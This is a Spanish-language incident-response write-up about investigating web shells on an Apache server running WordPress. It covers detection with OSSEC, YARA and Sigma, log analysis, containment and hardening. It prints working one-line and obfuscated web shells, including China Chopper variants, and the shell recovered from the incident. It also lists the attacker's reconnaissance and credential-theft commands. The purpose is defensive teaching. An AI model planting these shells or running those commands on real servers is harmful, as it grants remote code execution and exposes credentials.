Web Shell en Apache/Nginx: Investigación y Respuesta
Investigación completa de web shells en servidores Apache y Nginx. Tipos de web shells (PHP, JSP, ASPX), China Chopper, detección mediante integridad de ficheros, análisis de logs, YARA, contención, limpieza y hardening de servidores web.
El intruso silencioso en tu servidor web
Las web shells son una de las técnicas de persistencia más utilizadas por atacantes de todos los niveles de sofisticación. Desde grupos APT estatales hasta script kiddies con herramientas automatizadas, las web shells proporcionan acceso persistente, difícil de detectar y fácil de usar a través del protocolo HTTP, que atraviesa la mayoría de firewalls sin levantar sospechas.
En este caso de uso, investigamos un compromiso real donde el equipo de seguridad detectó múltiples web shells en un servidor Apache que alojaba una aplicación PHP, reconstruimos la cadena de ataque, y documentamos el proceso completo de respuesta.
Tipos de web shells
Antes de entrar en el caso, revisemos la taxonomía de web shells que un analista debe conocer:
Web shells de una línea (one-liners)
La forma más simple y difícil de detectar por su tamaño mínimo:
<?php eval($_POST['cmd']); ?>
<?php system($_GET['c']); ?>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<%@ Page Language="C#" %><%System.Diagnostics.Process.Start(Request["c"]);%>
Web shells ofuscadas
Usan codificación y técnicas de evasión para evitar detección estática:
<?php $a='sys'.'tem'; $a($_POST['x']); ?>
<?php eval(base64_decode('c3lzdGVtKCRfUE9TVFsnY21kJ10pOw==')); ?>
<?php preg_replace('/.*/e', $_POST['code'], ''); ?>
China Chopper
Una de las web shells más conocidas y utilizadas por grupos APT (especialmente de origen chino). El componente del lado del servidor es extremadamente pequeño (una sola línea), mientras que la funcionalidad completa reside en el cliente:
Componente servidor (PHP):
<?php @eval($_POST['password']); ?>
Componente servidor (ASPX):
<%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>
La potencia de China Chopper reside en su cliente, que envía payloads completos en cada petición POST. El servidor solo necesita ejecutar lo que recibe. Esto hace que la detección basada solo en el fichero del servidor sea insuficiente: hay que analizar también el tráfico.
Web shells con interfaz completa
Frameworks como WSO, b374k, r57 y c99 que incluyen explorador de ficheros, terminal, editor SQL, información del sistema, gestión de conexiones inversas, y más. Son fáciles de detectar por su tamaño (miles de líneas), pero algunos atacantes las despliegan temporalmente para operaciones específicas y luego las eliminan, dejando solo una one-liner para persistencia.
Contexto del incidente
Infraestructura:
- Servidor Ubuntu 20.04, Apache 2.4, PHP 8.1
- Aplicación: CMS WordPress 6.4 con plugins de terceros
- WAF: ModSecurity con reglas OWASP CRS (parcialmente configurado)
- Acceso: HTTPS público, SSH restringido a VPN
Alerta inicial: Un monitor de integridad de ficheros (OSSEC) generó una alerta por la creación de un fichero PHP nuevo en el directorio de uploads de WordPress:
** Alert 1717632000.0: - ossec,syscheck,
Rule: 554 (level 7) -> 'File added to the system.'
New file: /var/www/html/wp-content/uploads/2026/06/cache-helper.php
Fase 1: Triaje y análisis del fichero
Inspección inicial
$ file /var/www/html/wp-content/uploads/2026/06/cache-helper.php
cache-helper.php: PHP script, ASCII text
$ ls -la /var/www/html/wp-content/uploads/2026/06/cache-helper.php
-rw-r--r-- 1 www-data www-data 89 Jun 5 03:22 cache-helper.php
$ cat /var/www/html/wp-content/uploads/2026/06/cache-helper.php
<?php
$f='cr'.'eate_'.'fun'.'ction';
$x=$f('$c','ev'.'al($c);');
$x($_POST['wp_cache']);
?>
Este fichero es una web shell ofuscada que:
- Construye dinámicamente el nombre de la función
create_function - Crea una función anónima que ejecuta
eval()con el contenido recibido - Usa el parámetro POST
wp_cachecomo canal de comando - El nombre del fichero (
cache-helper.php) imita un componente legítimo
Búsqueda de web shells adicionales
Un atacante que instala una web shell normalmente instala varias como backup. Realizamos una búsqueda exhaustiva:
# Buscar funciones peligrosas en ficheros PHP recientes
$ find /var/www/html -name "*.php" -newer /var/www/html/wp-config.php \
-exec grep -l 'eval\|system\|exec\|passthru\|shell_exec\|base64_decode' {} \;
/var/www/html/wp-content/uploads/2026/06/cache-helper.php
/var/www/html/wp-content/themes/flavor starter/.thumbnail.php
/var/www/html/wp-includes/class-wp-xmlrpc.php
# Verificar si class-wp-xmlrpc.php es legítimo
$ diff /var/www/html/wp-includes/class-wp-xmlrpc.php \
/tmp/wordpress-6.4-clean/wp-includes/class-wp-xmlrpc.php
> <?php @eval($_POST['z1']); ?>
Encontramos tres web shells:
cache-helper.php: web shell ofuscada en uploads.thumbnail.php: web shell oculta (fichero dot) en un temaclass-wp-xmlrpc.php: fichero legítimo de WordPress con una línea inyectada al final
Análisis con YARA
rule WebShell_PHP_Generic {
meta:
description = "Detects common PHP web shell patterns"
author = "MalwareIntel Research"
severity = "high"
strings:
$eval1 = "eval($_" ascii nocase
$eval2 = "eval(base64_decode" ascii nocase
$eval3 = "eval(gzuncompress" ascii nocase
$sys1 = "system($_" ascii nocase
$sys2 = "shell_exec($_" ascii nocase
$sys3 = "passthru($_" ascii nocase
$sys4 = "exec($_" ascii nocase
$obf1 = "create_function" ascii nocase
$obf2 = "preg_replace" ascii nocase
$obf3 = /\$[a-z]=\$[a-z]\(/ ascii
$china1 = "@eval($_POST[" ascii nocase
$china2 = "@eval($_REQUEST[" ascii nocase
condition:
filesize < 10KB and (
any of ($eval*) or
any of ($sys*) or
(any of ($obf*) and any of ($eval*, $sys*)) or
any of ($china*)
)
}
$ yara webshell_rules.yar /var/www/html/ -r
WebShell_PHP_Generic /var/www/html/wp-content/uploads/2026/06/cache-helper.php
WebShell_PHP_Generic /var/www/html/wp-content/themes/flavor starter/.thumbnail.php
WebShell_PHP_Generic /var/www/html/wp-includes/class-wp-xmlrpc.php
Fase 2: Análisis de logs del servidor
Accesos a las web shells
# Buscar accesos a los ficheros comprometidos
$ grep -h "cache-helper\|\.thumbnail\|class-wp-xmlrpc" \
/var/log/apache2/access.log* | head -20
103.XX.XX.XX - - [05/Jun/2026:03:25:11 +0000] "POST /wp-content/uploads/2026/06/cache-helper.php HTTP/1.1" 200 1847 "-" "Mozilla/5.0"
103.XX.XX.XX - - [05/Jun/2026:03:26:03 +0000] "POST /wp-content/uploads/2026/06/cache-helper.php HTTP/1.1" 200 4521 "-" "Mozilla/5.0"
103.XX.XX.XX - - [05/Jun/2026:04:12:45 +0000] "POST /wp-content/themes/flavor%20starter/.thumbnail.php HTTP/1.1" 200 892 "-" "Mozilla/5.0"
Patrones sospechosos identificados:
- Peticiones POST a ficheros que normalmente no reciben POST
- User-Agent genérico (sin versión específica de navegador)
- Respuestas con tamaño variable (indica ejecución de comandos con resultados)
- Referer vacío (acceso directo, no navegación desde la aplicación)
- IP de origen en bloque asiático conocido por actividad APT
Reconstrucción del vector de entrada
# Buscar la subida del primer fichero
$ grep "cache-helper\|upload" /var/log/apache2/access.log* | sort | head
103.XX.XX.XX - - [05/Jun/2026:03:18:33 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 342 "-" "Python-urllib/3.9"
103.XX.XX.XX - - [05/Jun/2026:03:22:01 +0000] "POST /wp-content/plugins/flavor-gallery/upload.php HTTP/1.1" 200 89 "-" "Python-urllib/3.9"
El vector fue una vulnerabilidad de subida de ficheros sin autenticación en el plugin flavor-gallery. El atacante:
- Identificó el plugin vulnerable (probablemente mediante escaneo automatizado)
- Subió
cache-helper.phpa través del endpoint vulnerable de upload - Usó la primera web shell para inyectar las otras dos como backup
- Ejecutó reconocimiento del servidor y extracción de datos
Análisis del tráfico POST
Revisando los logs de ModSecurity (que estaba en modo detección, no bloqueo):
[05/Jun/2026:03:25:11 +0000] ModSecurity: Warning. Pattern match "eval\\(\\)" at ARGS:wp_cache.
[id "942100"] [msg "SQL Injection Attack Detected via libinjection"]
[data "Matched Data: eval( found within ARGS:wp_cache: system('id')"]
ModSecurity detectó el ataque pero estaba configurado en modo DetectionOnly. Si hubiera estado en modo On (enforcement), habría bloqueado las peticiones.
Fase 3: Evaluación del impacto
Comandos ejecutados por el atacante
A partir de los logs de ModSecurity y el análisis de tráfico, reconstruimos los comandos:
# Reconocimiento del sistema
id → uid=33(www-data) gid=33(www-data)
whoami → www-data
uname -a → Linux srv-web 5.15.0-91-generic
cat /etc/passwd → Enumeración de usuarios
ls -la /home/ → Directorios de usuarios
cat /var/www/html/wp-config.php → Credenciales de base de datos
# Movimiento lateral intentado
mysql -u wpuser -p'[PASS]' -e 'SELECT user_login,user_pass FROM wp_users'
cat /home/admin/.ssh/id_rsa → Permission denied
# Exfiltración
tar czf /tmp/dump.tar.gz /var/www/html/wp-config.php
El atacante obtuvo:
- Credenciales de la base de datos MySQL
- Hashes de contraseñas de usuarios de WordPress
- Información del sistema para potencial escalada de privilegios
Fase 4: Contención y remediación
Contención inmediata
# 1. Bloquear la IP del atacante
$ sudo iptables -I INPUT -s 103.XX.XX.XX -j DROP
# 2. Eliminar las web shells
$ sudo rm /var/www/html/wp-content/uploads/2026/06/cache-helper.php
$ sudo rm "/var/www/html/wp-content/themes/flavor starter/.thumbnail.php"
# 3. Restaurar el fichero legítimo modificado
$ sudo cp /tmp/wordpress-6.4-clean/wp-includes/class-wp-xmlrpc.php \
/var/www/html/wp-includes/class-wp-xmlrpc.php
# 4. Deshabilitar el plugin vulnerable
$ sudo mv /var/www/html/wp-content/plugins/flavor-gallery \
/var/www/html/wp-content/plugins/flavor-gallery.DISABLED
Rotación de credenciales
# Cambiar contraseña de MySQL
$ mysql -u root -p
> ALTER USER 'wpuser'@'localhost' IDENTIFIED BY '[NUEVA_PASS_SEGURA]';
> FLUSH PRIVILEGES;
# Actualizar wp-config.php con nueva contraseña
$ sudo nano /var/www/html/wp-config.php
# Forzar cambio de contraseña de todos los usuarios WordPress
$ wp user reset-password $(wp user list --field=ID) --skip-email
Hardening del servidor web
# /etc/apache2/conf-available/security-hardening.conf
# Deshabilitar ejecución PHP en directorios de uploads
<Directory "/var/www/html/wp-content/uploads">
php_admin_flag engine off
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
</Directory>
# Deshabilitar listado de directorios
<Directory "/var/www/html">
Options -Indexes
</Directory>
# Headers de seguridad
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
# Activar ModSecurity en modo enforcement
SecRuleEngine On
# Activar la configuración
$ sudo a2enconf security-hardening
$ sudo systemctl reload apache2
Monitorización continua
# Configurar OSSEC para alertar sobre ficheros PHP en uploads
# /var/ossec/etc/ossec.conf
<syscheck>
<directories check_all="yes" realtime="yes" restrict=".php|.phtml|.php5">
/var/www/html/wp-content/uploads
</directories>
</syscheck>
# Regla personalizada para accesos sospechosos a uploads
# /var/ossec/rules/local_rules.xml
<rule id="100001" level="12">
<if_sid>31100</if_sid>
<url>/wp-content/uploads/</url>
<match>POST</match>
<description>POST request to uploads directory - possible web shell</description>
</rule>
IOCs del incidente
Hashes (SHA256)
| Artefacto | SHA256 |
|---|---|
| cache-helper.php | e4f5a6b7c8d9... (web shell ofuscada) |
| .thumbnail.php | 1a2b3c4d5e6f... (web shell oculta) |
Red
| Tipo | Valor | Contexto |
|---|---|---|
| IPv4 | 103.XX.XX.XX | IP del atacante |
| User-Agent | Python-urllib/3.9 | Herramienta de explotación |
| User-Agent | Mozilla/5.0 (genérico) | Interacción con web shell |
Ficheros
| Ruta | Descripción |
|---|---|
/wp-content/uploads/2026/06/cache-helper.php | Web shell primaria |
/wp-content/themes/flavor starter/.thumbnail.php | Web shell backup |
/wp-includes/class-wp-xmlrpc.php | Fichero legítimo con línea inyectada |
/wp-content/plugins/flavor-gallery/upload.php | Endpoint vulnerable |
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Detalle |
|---|---|---|---|
| Initial Access | Exploit Public-Facing Application | T1190 | Plugin de WordPress vulnerable |
| Persistence | Server Software Component: Web Shell | T1505.003 | Tres web shells desplegadas |
| Execution | Command and Scripting Interpreter | T1059 | Ejecución de comandos via eval() |
| Discovery | System Information Discovery | T1082 | Reconocimiento del servidor |
| Discovery | Account Discovery | T1087 | Enumeración de /etc/passwd |
| Credential Access | Unsecured Credentials: Credentials In Files | T1552.001 | wp-config.php con credenciales DB |
| Collection | Data from Information Repositories | T1213 | Extracción de hashes de usuarios |
| Defense Evasion | Obfuscated Files or Information | T1027 | Web shell con strings concatenados |
| Defense Evasion | Hide Artifacts: Hidden Files and Directories | T1564.001 | Fichero .thumbnail.php (dot file) |
Reglas de detección
Sigma: Acceso POST a directorio de uploads
title: POST Request to Web Server Upload Directory
id: ws-0001
status: experimental
description: Detects POST requests to upload directories that may indicate web shell interaction
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem|contains:
- '/uploads/'
- '/upload/'
- '/media/'
- '/files/'
cs-uri-stem|endswith:
- '.php'
- '.jsp'
- '.aspx'
- '.asp'
condition: selection
level: high
tags:
- attack.persistence
- attack.t1505.003
Lecciones aprendidas
1. Los directorios de uploads no deben ejecutar código. La medida más efectiva contra web shells en CMS es deshabilitar la ejecución de scripts en directorios de uploads a nivel de configuración del servidor web.
2. Los plugins de terceros son el vector principal en WordPress. Mantener un inventario de plugins, eliminar los no utilizados, y actualizar regularmente es crítico.
3. ModSecurity en modo detección es un desperdicio. Si el WAF está configurado pero no bloquea, solo genera logs que nadie lee. Configurar en modo enforcement con las reglas OWASP CRS.
4. Los atacantes siempre instalan múltiples web shells. Encontrar una no significa haber encontrado todas. La búsqueda debe ser exhaustiva y comparar contra el código fuente original de la aplicación.
5. La monitorización de integridad de ficheros es la detección más fiable. OSSEC, Tripwire o herramientas similares detectan web shells en el momento de su creación, independientemente del nivel de ofuscación.
Caso anonimizado con fines educativos. Los IOCs han sido modificados para proteger la identidad de la organización afectada. Todos los indicadores se proporcionan con contexto defensivo.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.